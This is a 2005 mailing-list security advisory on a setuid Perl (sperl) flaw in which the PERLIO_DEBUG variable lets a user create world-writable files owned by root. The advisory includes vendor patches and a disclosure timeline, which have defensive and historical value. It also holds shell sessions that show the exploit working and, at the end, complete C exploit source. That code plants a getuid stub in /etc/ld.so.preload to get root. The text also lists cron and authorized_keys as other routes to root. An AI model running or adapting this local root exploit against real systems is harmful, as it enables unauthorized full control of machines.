[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

DMA[2005-0131a] - 'Setuid Perl PERLIO_DEBUG root owned file creation'



Vendor Patches are expected soon.
DMA[2005-0131a] - 'Setuid Perl PERLIO_DEBUG root owned file creation'
Author: Kevin Finisterre
Vendor: http://dev.perl.org/
Product: 'Perl 5.8.x - sperl'
References: (CAN-2005-0155)
http://www.digitalmunition.com/DMA[2005-0131a].txt
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0155
https://rt.perl.org/rt3/Ticket/Display.html?id=33990 (guest/guest)
http://www.mail-archive.com/perl5-changes@xxxxxxxx/msg10733.html
http://www.mail-archive.com/perl5-changes@xxxxxxxx/msg10734.html
http://www.mail-archive.com/perl5-changes@xxxxxxxx/msg10736.html
http://www.mail-archive.com/perl5-changes@xxxxxxxx/msg10737.html

Description: 
Perl is a stable, cross platform programming language. It is used for mission 
critical projects 
in the public and private sectors and is widely used to program web 
applications of all needs.

In the July 18, 2002 highlights for Perl 5.8.0 there was a 'New IO 
Implementation' added called
PerlIO. The new PerlIO implementation was described as both a portable stdio 
implementation
(at the source code level) and a flexible new framework for richer I/O 
behaviours. 

As an attacker I would definately say that PerlIO has some rich behavior. Two 
vulnerabilities 
were located in the PerlIO package that can allow an attacker to take root on a 
machine that 
makes use of setuid perl aka sperl. The first vulnerability will be outlined in 
this document, 
and details on the second vulnerability will be explained in DMA[2005-0131b].

Perl provides debug access to PerlIO via an environment variable known as 
PERLIO_DEBUG. The perl
documentaion tells us that if PERLIO_DEBUG is set to the name of a file or 
device then certain 
operations of PerlIO sub-system will be logged to that file in append mode. If 
the file does not
exist then it will be created. This vulnerability really does not present 
itself unless perl is 
installed with setuid support on the machine in question. If setuid is enabled 
an attacker has
the opportunity to arbitrarily create root owned files. With a little help from 
umask() files can
be created with root ownership AND world writable permissions. This behavior 
can also be exploited 
via setuid helper or wrapper scripts that call perl scripts (see the Debian 
game mooix). 

kfinisterre@jdam:~$ ls -al /usr/bin/sperl5.8.4
-rwsr-xr-x  1 root root 63808 2004-12-11 18:32 /usr/bin/sperl5.8.4
kfinisterre@jdam:~$ export PERLIO_DEBUG=/tmp/aaa
kfinisterre@jdam:~$ umask 001
kfinisterre@jdam:~$ /usr/bin/sperl5.8.4
sperl needs fd script
You should not call sperl directly; do you need to change a #! line
from sperl to perl?
kfinisterre@jdam:~$ ls -al /tmp/aaa
-rw-rw-rw-  1 root kfinisterre 1403 2005-01-30 02:34 /tmp/aaa

At this point the game is pretty much over. Since the file is world writable 
the attacker can add
any content he or she desires to the file that was created. Charles Stevenson 
suggested that a file
could be written to /etc/crond.d/xxxx which would allow an attacker to control 
the machine with the next 
run of cron. I considered a few alternatives like writing to roots crontab, 
making an sshd root
authorized_key file, as well as a few others. In my example exploit I took a 
more immediate and risky
route by writing to /etc/ld.so.preload and providing a trojan.so that always 
returns 0 for getuid(). 

kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
ls: /etc/ld.so.preload: No such file or directory
kfinisterre@jdam:~$ ./ex_perl
sperl needs fd script
You should not call sperl directly; do you need to change a #! line
from sperl to perl?
kfinisterre@jdam:~$ su -
jdam:~# id
uid=0(root) gid=0(root) groups=0(root)
jdam:~# rm /etc/ld.so.preload

The following patch for this bug was provided by Mandrake care of the 
vendor-sec list. This patch 
also fixes the bug that is described in DMA[2005-0131b].

Index: perlio.c
===================================================================
--- perlio.c    (revision 4342)
+++ perlio.c    (revision 4346)
@@ -454,7 +454,7 @@
     va_list ap;
     dSYS;
     va_start(ap, fmt);
-    if (!dbg) {
+    if (!dbg && !PL_tainting && PL_uid == PL_euid && PL_gid == PL_egid) {
        char *s = PerlEnv_getenv("PERLIO_DEBUG");
        if (s && *s)
            dbg = PerlLIO_open3(s, O_WRONLY | O_CREAT | O_APPEND, 0666);
@@ -471,7 +471,7 @@
        s = CopFILE(PL_curcop);
        if (!s)
            s = "(none)";
-       sprintf(buffer, "%s:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
+       sprintf(buffer, "%.40s:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
        len = strlen(buffer);
        vsprintf(buffer+len, fmt, ap);
        PerlLIO_write(dbg, buffer, strlen(buffer));

an alternate patch was also provided. This patch adds some indication of 
patching to 'perl -V'

--- perlio.c.orig       Fri Sep 10 08:06:52 2004
+++ perlio.c    Tue Feb  1 22:17:45 2005
@@ -471,7 +471,7 @@ PerlIO_debug(const char *fmt, ...)
        s = CopFILE(PL_curcop);
        if (!s)
            s = "(none)";
-       sprintf(buffer, "%s:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
+       sprintf(buffer, "%.40s:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
        len = strlen(buffer);
        vsprintf(buffer+len, fmt, ap);
        PerlLIO_write(dbg, buffer, strlen(buffer));
--- patchlevel.h.orig   Sat Nov 27 17:18:15 2004
+++ patchlevel.h        Tue Feb  1 22:19:59 2005
@@ -123,3 +123,4 @@ hunk.
+       ,"SUIDPERLIO1 - fix PERLIO_DEBUG buffer overflow (CAN-2005-0156)"
        ,NULL
 };

This bug has been successfully exploited on: 
Debian 3.1 
Ubuntu 4.10
Redhat 8.0

This is basic timeline associated with this bug. 

01/30/2005 09:29 AM - Mail to larry wall, perlbug, vendor-sec et all 
01/31/2005 04:25 AM - Rafael Garcia-Suarez disabed PERLIO_DEBUG in sperl
01/31/2005 08:31 AM - perl #33990] [RESOLVED] 
01/31/2005 11:15 AM - perl-5.8.6-bug33990.patch passed on from Mandrake cvs
02/02/2005 05:20 PM - Alternate patch provided nick@xxxxxxxx

-KF


/*
 * Copyright Kevin Finisterre 
 * 
 * ** DISCLAIMER ** I am in no way responsible for your stupidity.
 * ** DISCLAIMER ** I am in no way liable for any damages caused by compilation 
and or execution of this code.
 *
 * ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
 * ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box 
(or someone elses).
 * ** WARNING ** have a boot disk ready incase some thing goes wrong.
 *
 * Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
 *
 * this exploits a vulnerability in the PERLIO_DEBUG functionality
 * tested against sperl5.8.4 on Debian
 *
 * kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
 * kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
 * ls: /etc/ld.so.preload: No such file or directory
 * kfinisterre@jdam:~$ ./ex_perl
 * sperl needs fd script
 * You should not call sperl directly; do you need to change a #! line
 * from sperl to perl?
 * kfinisterre@jdam:~$ su -
 * jdam:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * jdam:~# rm /etc/ld.so.preload
 *
 */


#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>

int main(int *argc, char **argv)
{

        FILE *getuid;
        if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        
        fprintf(getuid, "int getuid(){return 0;}\n" );
        fclose(getuid);

        system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c 
-lc");

        putenv("PERLIO_DEBUG="PRELOAD);
        umask(001); // I'm rw-rw-rw james bitch!
        system("/usr/bin/sperl5.8.4");
        FILE *ld_so_preload;

        char preload[] = {
                "/tmp/getuid.so\n"
        };

        if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
        fclose(ld_so_preload);
}